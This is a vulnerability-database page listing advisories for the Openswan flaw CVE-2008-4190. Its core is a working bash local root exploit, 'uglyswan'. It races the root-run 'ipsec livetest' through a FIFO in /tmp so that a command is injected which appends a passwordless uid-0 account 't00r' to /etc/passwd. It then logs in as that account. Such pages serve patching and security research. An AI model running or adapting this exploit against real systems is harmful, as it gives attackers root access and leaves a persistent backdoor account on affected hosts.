| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
| Openswan <= 2.4.12/2.6.16 Insecure Temp File Creation Root Exploit | 13 Jul 200900:00 | – | zdt | |
| CentOS 5 : openswan (CESA-2009:0402) | 6 Jan 201000:00 | – | nessus | |
| Debian DSA-1760-1 : openswan - denial of service | 31 Mar 200900:00 | – | nessus | |
| GLSA-200903-18 : Openswan: Insecure temporary file creation | 10 Mar 200900:00 | – | nessus | |
| Oracle Linux 5 : openswan (ELSA-2009-0402) | 12 Jul 201300:00 | – | nessus | |
| RHEL 5 : openswan (RHSA-2009:0402) | 31 Mar 200900:00 | – | nessus | |
| Scientific Linux Security Update : openswan on SL5.x i386/x86_64 | 1 Aug 201200:00 | – | nessus | |
| openswan security update | 9 Apr 200910:33 | – | centos | |
| CVE-2008-4190 | 13 Jul 200900:00 | – | circl | |
| CVE-2008-4190 | 24 Sep 200810:00 | – | cve |
#!/bin/bash
# uglyswan - OpenSwan local root exploit (CVE-2008-4190)
#
# description:
# The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16,
# allows local users to overwrite arbitrary files and execute arbitrary code via a
# symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files.
# NOTE: in many distributions and the upstream version, this tool has been disabled.
#
# vulnerable code:
# wget -o /dev/null -O /tmp/ipseclive.conn "http://192.168.0.1/olts/?leftid=$leftid&$leftrsasigkey&version=$version"
# sh < /tmp/ipseclive.conn
#
# the exploit:
# cat waits for the input from wget to the fifo and after it received it, you
# immediately echo your command into the fifo which was empty again and viola, it
# gets executed, because the sh binary needs a few milliseconds to get loaded,
# it's a typical race condition.
#
# problem:
# you need to trick root to execute "ipsec livetest", and this script needs to run in background...
#
# I don't want no fame for this as it is ripped from Gentoo bug 238574, thanks
#
mkfifo /tmp/ipseclive.conn
cat /tmp/ipseclive.conn
echo 'echo t00r::0:0::/tmp:/bin/sh>>/etc/passwd' > /tmp/ipseclive.conn
rm /tmp/ipseclive.conn
su -l t00r
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation